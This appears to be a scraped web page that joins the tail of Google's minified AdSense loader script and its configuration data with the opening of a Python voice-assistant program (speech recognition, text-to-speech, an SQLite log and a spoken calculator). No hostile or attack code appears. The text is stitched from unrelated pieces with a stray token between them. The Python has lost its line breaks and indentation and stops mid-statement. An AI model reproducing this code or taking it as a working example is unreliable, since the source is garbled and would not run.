b=U(window).head_tag_slot_vars,c=a.getAttribute("src")||"";if((a=Gc(c)||a.getAttribute("data-ad-client")||"")&&a!==b.google_ad_client)throw new T("Warning: Do not add multiple property codes with AdSense tag to avoid seeing unexpected behavior. These codes were found on the page "+a+", "+b.google_ad_client);} function ip(a){if("object"===typeof a&&null!=a){if("string"===typeof a.type)return 2;if("string"===typeof a.sound||"string"===typeof a.preloadAdBreaks)return 3}return 0} function dp(a,b,c,d){if(null==a)throw new T("push() called with no parameters.");14===Cb(d,Uk)&&jp(a,wb(Tk(d),1),I(d,2));var e=ip(a);if(0!==e)P(af)&&(d=xl(),d.first_slotcar_request_processing_time||(d.first_slotcar_request_processing_time=Date.now(),d.adsbygoogle_execution_start_time=Ia)),null==Qo?(kp(a),Ro.push(a)):3===e?Wi(787,function(){Qo.handleAdConfig(a)}):Zi(730,Qo.handleAdBreak(a));else{Ia=(new Date).getTime();wo(c,d,lp(a));mp();a:{if(void 0!=a.enable_page_level_ads){if("string"===typeof a.google_ad_client){e= !0;break a}throw new T("'google_ad_client' is missing from the tag config.");}e=!1}if(e)np(a,d);else if((e=a.params)&&Sc(e,function(g,h){b[h]=g}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{e=op(a.element);Io(e,b);c=U(w).head_tag_slot_vars||{};Sc(c,function(g,h){b.hasOwnProperty(h)||(b[h]=g)});if(e.hasAttribute("data-require-head")&&!U(w).head_tag_slot_vars)throw new T("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com."); if(!b.google_ad_client)throw new T("Ad client is missing from the slot.");b.google_apsail=dl(b.google_ad_client);var f=(c=0===(U(L).first_tag_on_page||0)&&Fl(b))&&Gl(c);c&&!f&&(np(c,d),U(L).skip_next_reactive_tag=!0);0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=2);b.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(e,b,d);c&&f&&pp(c)}}}var qp=!1;function jp(a,b,c){P(Ye)&&!qp&&(qp=!0,a=lp(a)||qn(L),Yi("predictive_abg",{a_c:a,p_c:b,b_v:c},.01))} function lp(a){return a.google_ad_client?a.google_ad_client:(a=a.params)&&a.google_ad_client?a.google_ad_client:""}function mp(){if(P(Re)){var a=ul(L);if(!(a=a&&a.Fa)){try{var b=L.localStorage}catch(c){b=null}b=b?zj(b):null;a=!(b&&Ck(b)&&b)}a||vl(L,1)}}function pp(a){gd(function(){Uf(w).wasPlaTagProcessed||w.adsbygoogle&&w.adsbygoogle.push(a)})} function np(a,b){if(U(L).skip_next_reactive_tag)U(L).skip_next_reactive_tag=!1;else{0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=1);if(a.tag_partner){var c=a.tag_partner,d=U(w);d.tag_partners=d.tag_partners||[];d.tag_partners.push(c)}U(L).ama_ran_on_page||Il(new Hl(a,b));cp(a,b)}} function op(a){if(a){if(!Uo(a)&&(a.id?a=Yo(a.id):a=null,!a))throw new T("'element' has already been filled.");if(!("innerHTML"in a))throw new T("'element' is not a good DOM element.");}else if(a=Yo(),!a)throw new T("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a} function rp(){var a=new Oj(L),b=new Oo(L),c=new Po(L),d=L.__cmp?1:0;a=Pj(a)?1:0;var e,f;(f="function"===typeof(null==(e=b.i)?void 0:e.__uspapi))||(b.h?b=b.h:(b.h=$c(b.i,"__uspapiLocator"),b=b.h),f=null!=b);c.l||(c.i||(c.i=c.h.googlefc?c.h:$c(c.h,"googlefcPresent")),c.l=!0);Yi("cmpMet",{tcfv1:d,tcfv2:a,usp:f?1:0,fc:c.i?1:0,ptt:9},Q(ye))}function sp(a){a={value:D(a,16)};var b=.01;Q(Te)&&(a.eid=Q(Te),b=1);a.frequency=b;Yi("new_abg_tag",a,b)}function tp(a){Dj().S[Fj(26)]=!!Number(a)} function up(a){Number(a)?U(L).pause_ad_requests=!0:(U(L).pause_ad_requests=!1,a=function(){if(!U(L).pause_ad_requests){var b=void 0===b?{}:b;if("function"===typeof window.CustomEvent)var c=new CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",b);else c=document.createEvent("CustomEvent"),c.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!!b.bubbles,!!b.cancelable,b.detail);L.dispatchEvent(c)}},w.setTimeout(a,0),w.setTimeout(a,1E3))} function vp(a){Yi("adsenseGfpKnob",{value:a,ptt:9},.1);switch(a){case 0:case 2:a=!0;break;case 1:a=!1;break;default:throw Error("Illegal value of cookieOptions: "+a);}L._gfp_a_=a}function wp(a){a&&a.call&&"function"===typeof a&&window.setTimeout(a,0)} function hp(a,b){b=Dl(ec(hc(qc(b.sb).toString()),zf()?{bust:zf()}:{})).then(function(c){null==Qo&&(c.init(a),Qo=c,xp())});Zi(723,b);r(b,"finally").call(b,function(){Ro.length=0;Yi("slotcar",{event:"api_ld",time:Date.now()-Ia,time_pr:Date.now()-To})})} function xp(){for(var a=u(r(So,"keys").call(So)),b=a.next();!b.done;b=a.next()){b=b.value;var c=So.get(b);-1!==c&&(w.clearTimeout(c),So.delete(b))}a={};for(b=0;b<Ro.length;a={fa:a.fa,ba:a.ba},b++)So.has(b)||(a.ba=Ro[b],a.fa=ip(a.ba),Wi(723,function(d){return function(){3===d.fa?Qo.handleAdConfig(d.ba):2===d.fa&&Zi(730,Qo.handleAdBreakBeforeReady(d.ba))}}(a)))} function kp(a){var b=Ro.length;if(2===ip(a)&&"preroll"===a.type&&null!=a.adBreakDone){-1===To&&(To=Date.now());var c=w.setTimeout(function(){try{(0,a.adBreakDone)({breakType:"preroll",breakName:a.name,breakFormat:"preroll",breakStatus:"timeout"}),So.set(b,-1),Yi("slotcar",{event:"pr_to",source:"adsbygoogle"})}catch(d){console.error("[Ad Placement API] adBreakDone callback threw an error:",d instanceof Error?d:Error(String(d)))}},1E3*Q(kf));So.set(b,c)}} function yp(){if(P(Ne)&&!P(Me)){var a=L.document,b=a.createElement("LINK"),c=nd(Ml);if(c instanceof cc||c instanceof mc)b.href=sc(c);else{if(-1===tc.indexOf("stylesheet"))throw Error('TrustedResourceUrl href attribute required with rel="stylesheet"');b.href=rc(c)}b.rel="stylesheet";a.head.appendChild(b)}};(function(a,b,c,d){d=void 0===d?function(){}:d;Ui.Ua($i);Wi(166,function(){var e=sn(b);jn(I(e,2));Xk(D(e,6));d();kd(16,[1,e.toJSON()]);var f=md(ld(L))||L,g=c(kn({eb:a,nb:I(e,2)}),e);P(cf)&&al(f,e);om(f,e,null===L.document.currentScript?1:Ol(g.ub));Mo();if((!Na()||0<=Ka(Qa(),11))&&(null==(L.Prototype||{}).Version||!P(We))){Vi(P(qf));Go(e);ok();try{Mn()}catch(q){}Fo();fp(g,e);f=window;var h=f.adsbygoogle;if(!h||!h.loaded){if(P(Se)&&!D(e,16))try{if(L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]'))return}catch(q){}yp(); sp(e);Q(ye)&&rp();var k={push:function(q){$o(q,g,e)},loaded:!0};try{Object.defineProperty(k,"requestNonPersonalizedAds",{set:tp}),Object.defineProperty(k,"pauseAdRequests",{set:up}),Object.defineProperty(k,"cookieOptions",{set:vp}),Object.defineProperty(k,"onload",{set:wp})}catch(q){}if(h)for(var l=u(["requestNonPersonalizedAds","pauseAdRequests","cookieOptions"]),m=l.next();!m.done;m=l.next())m=m.value,void 0!==h[m]&&(k[m]=h[m]);"_gfp_a_"in window||(window._gfp_a_=!0);Zo(h,g,e);f.adsbygoogle=k;h&& (k.onload=h.onload);(f=Bo(g))&&document.documentElement.appendChild(f)}}})})("m202204040101",rn,function(a,b){var c=2012<C(b,1,0)?"_fy"+C(b,1,0):"",d=I(b,3),e=I(b,2);b=nd(dn,a,c);d=nd(en,e,d);return{sb:b,qb:nd(fn,a,c),ob:nd(gn,a,c),pb:nd(hn,a,c),vb:d,ub:/^(?:https?:)?\/\/(?:pagead2\.googlesyndication\.com|securepubads\.g\.doubleclick\.net)\/pagead\/(?:js\/)?(?:show_ads|adsbygoogle)\.js(?:[?#].*)?$/}}); }).call(this,"[2019,\"r20220406\",\"r20190131\",null,null,null,null,\".google.co.uz\",null,null,null,[[[1082,null,null,[1]],[null,62,null,[null,0.001]],[383,null,null,[1]],[null,1130,null,[null,100]],[null,1126,null,[null,5000]],[1132,null,null,[1]],[1131,null,null,[1]],[null,1142,null,[null,2]],[null,1165,null,[null,1000]],[null,1114,null,[null,1]],[null,1116,null,[null,300]],[null,1117,null,[null,100]],[null,1115,null,[null,1]],[null,1159,null,[null,500]],[1145,null,null,[1]],[1021,null,null,[1]],[null,66,null,[null,-1]],[null,65,null,[null,-1]],[1087,null,null,[1]],[1053,null,null,[1]],[1100,null,null,[1]],[1102,null,null,[1]],[1149,null,null,[1]],[null,1072,null,[null,0.75]],[1101,null,null,[1]],[1036,null,null,[1]],[null,1085,null,[null,5]],[null,63,null,[null,30]],[null,1080,null,[null,5]],[1054,null,null,[1]],[null,1027,null,[null,10]],[null,57,null,[null,120]],[null,1079,null,[null,5]],[null,1050,null,[null,30]],[null,58,null,[null,120]],[381914117,null,null,[1]],[null,null,null,[null,null,null,[\"A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A4\/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme\/J33Q\/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\"]],null,1934],[1953,null,null,[1]],[1947,null,null,[1]],[434462125,null,null,[1]],[1938,null,null,[1]],[1948,null,null,[1]],[392736476,null,null,[1]],[null,null,null,[null,null,null,[\"AxujKG9INjsZ8\/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=\",\"Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt\/P\/H4\/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"AxBHdr0J44vFBQtZUqX9sjiqf5yWZ\/OcHRcRMN3H9TH+t90V\/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ==\"]],null,1932],[null,397907552,null,[null,500]],[432938498,null,null,[1]]],[[10,[[1,[[21066108],[21066109,[[316,null,null,[1]]]]],null,null,null,34,18,1],[1,[[21066110],[21066111]],null,null,null,34,18,1],[1,[[42530528],[42530529,[[368,null,null,[1]]]],[42530530,[[369,null,null,[1]],[368,null,null,[1]]]]]],[1,[[42531496],[42531497,[[1161,null,null,[1]]]]]],[1,[[42531513],[42531514,[[316,null,null,[1]]]]]],[1,[[44719338],[44719339,[[334,null,null,[1]],[null,54,null,[null,100]],[null,66,null,[null,10]],[null,65,null,[null,1000]]]]]],[200,[[44760474],[44760475,[[1129,null,null,[1]]]]]],[10,[[44760911],[44760912,[[1160,null,null,[1]]]]]],[100,[[44761043],[44761044]]],[1,[[44752536,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44753656]]],[null,[[44755592],[44755593,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755594,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755653,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[10,[[44762453],[44762454,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[20,[[182982000,[[218,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982100,[[217,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[20,[[182982200,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982300,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[10,[[182984000,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984100,[[218,null,null,[1]]],[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[182984200,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984300,null,[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[21066428],[21066429]]],[10,[[21066430],[21066431],[21066432],[21066433]],null,null,null,44,22],[10,[[21066434],[21066435]],null,null,null,44,null,500],[10,[[31065342],[31065343,[[1147,null,null,[1]]]]]],[50,[[31065544],[31065545,[[1154,null,null,[1]]]]]],[50,[[31065741],[31065742,[[1134,null,null,[1]]]]]],[1,[[31065944,[[null,1103,null,[null,31065944]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31065945,[[null,1103,null,[null,31065945]],[1121,null,null,[1]],[1143,null,null,[1]],[null,1119,null,[null,300]]]],[31065946,[[null,1103,null,[null,31065946]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065950,[[null,1103,null,[null,31065950]],[null,1114,null,[null,0.9]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065951,[[null,1103,null,[null,31065951]],[null,1114,null,[null,0.9]],[null,1110,null,[null,1]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065952,[[null,1103,null,[null,31065952]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065953,[[null,1103,null,[null,31065953]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1111,null,[null,5]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762492,[[null,1103,null,[null,44762492]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[1,[[31066496,[[null,1103,null,[null,31066496]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31066497,[[null,1158,null,[null,45]],[null,1157,null,[null,400]],[null,1103,null,[null,31066497]],[null,1114,null,[null,-1]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1162,null,null,[1]],[1155,null,null,[1]],[1120,null,null,[1]]]]],null,49],[1000,[[31067051,[[null,null,14,[null,null,\"31067051\"]]],[6,null,null,null,6,null,\"31067051\"]],[31067052,[[null,null,14,[null,null,\"31067052\"]]],[6,null,null,null,6,null,\"31067052\"]]],[4,null,55]],[1000,[[31067063,[[null,null,14,[null,null,\"31067063\"]]],[6,null,null,null,6,null,\"31067063\"]],[31067064,[[null,null,14,[null,null,\"31067064\"]]],[6,null,null,null,6,null,\"31067064\"]]],[4,null,55]],[10,[[31067067],[31067068,[[1148,null,null,[1]]]]]],[1000,[[31067083,[[null,null,14,[null,null,\"31067083\"]]],[6,null,null,null,6,null,\"31067083\"]],[31067084,[[null,null,14,[null,null,\"31067084\"]]],[6,null,null,null,6,null,\"31067084\"]]],[4,null,55]],[1,[[44736076],[44736077,[[null,1046,null,[null,0.1]]]]]],[1,[[44761631,[[null,1103,null,[null,44761631]]]],[44761632,[[null,1103,null,[null,44761632]],[1143,null,null,[1]]]],[44761633,[[null,1142,null,[null,2]],[null,1103,null,[null,44761633]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761634,[[null,1142,null,[null,2]],[null,1103,null,[null,44761634]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761635,[[null,1142,null,[null,2]],[null,1103,null,[null,44761635]],[null,1114,null,[null,0.9]],[null,1106,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761636,[[null,1142,null,[null,2]],[null,1103,null,[null,44761636]],[null,1114,null,[null,0.9]],[null,1107,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761637,[[null,1142,null,[null,2]],[null,1103,null,[null,44761637]],[null,1114,null,[null,0.9]],[null,1105,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762110,[[null,1142,null,[null,2]],[null,1103,null,[null,44762110]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[500,[[44761838,[[null,1142,null,[null,2]],[null,1103,null,[null,44761838]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[2,[[6,null,null,3,null,2],[12,null,null,null,2,null,\"smitmehta\\\\.com\/\"]]],49],[null,[[44762338],[44762339,[[380254521,null,null,[1]]]]],[1,[[4,null,63]]],null,null,56],[150,[[31061760],[31063913,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31065341,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[50,[[31061761,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31062202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31063912],[44756455,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[31063202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[44753753,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15]]],[20,[[50,[[31062930],[31062931,[[380025941,null,null,[1]]]]],null,null,null,null,null,101,null,102]]],[13,[[10,[[44759847],[44759848,[[1947,null,null,[]]]]]],[10,[[44759849],[44759850]]],[1,[[31065824],[31065825,[[424117738,null,null,[1]]]]]],[10,[[31066184],[31066185,[[436251930,null,null,[1]]]]]],[1000,[[21067496]],[4,null,9,null,null,null,null,[\"document.hasTrustToken\"]]],[1000,[[31060475,null,[2,[[1,[[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]],[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]]]]]]],[500,[[31061692],[31061693,[[77,null,null,[1]],[78,null,null,[1]],[85,null,null,[1]],[80,null,null,[1]],[76,null,null,[1]]]]],[4,null,6,null,null,null,null,[\"31061691\"]]],[1,[[31062890],[31062891,[[397841828,null,null,[1]]]]]],[1,[[31062946]],[4,null,27,null,null,null,null,[\"document.prerendering\"]]],[1,[[31062947]],[1,[[4,null,27,null,null,null,null,[\"document.prerendering\"]]]]],[50,[[31064018],[31064019,[[1961,null,null,[1]]]]]],[1,[[31065981,null,[2,[[6,null,null,3,null,0],[12,null,null,null,4,null,\"Chrome\/(9[23456789]|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,27,null,null,null,null,[\"crossOriginIsolated\"]]]]]]]]],[11,[[10,[[44760494],[44760495,[[1957,null,null,[1]]]]],null,48],[1,[[44760496],[44760497,[[1957,null,null,[1]]]],[44760498,[[1957,null,null,[1]]]]],null,48],[2,[[44761535],[44761536,[[1957,null,null,[1]],[1963,null,null,[1]]]],[44761537,[[1957,null,null,[1]],[1964,null,null,[1]]]],[44761538,[[1957,null,null,[1]],[1965,null,null,[1]]]],[44761539,[[1957,null,null,[1]]]]],null,48]]],[17,[[10,[[31060047]],null,null,null,44,null,900],[10,[[31060048],[31060049]],null,null,null,null,null,null,null,101],[10,[[31060566]]]]],[12,[[50,[[31061828],[31061829,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065659,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,10000]],[427841102,null,null,[1]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065787]],null,15],[20,[[21065724],[21065725,[[203,null,null,[1]]]]],[4,null,9,null,null,null,null,[\"LayoutShift\"]]],[50,[[31060006,null,[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]],[31060007,[[1928,null,null,[1]]],[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]]],null,21],[10,[[31060032],[31060033,[[1928,null,null,[1]]]]],null,21],[10,[[31061690],[31061691,[[83,null,null,[1]],[84,null,null,[1]]]]]],[1,[[31065721],[31065722,[[432946749,null,null,[1]]]]]]]]],null,null,[0.001,\"1000\",1,\"1000\"]],[null,[]],null,null,1,\"github.com\",309779023,[44759876,44759927,44759842]]");
Rynkll696
import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = 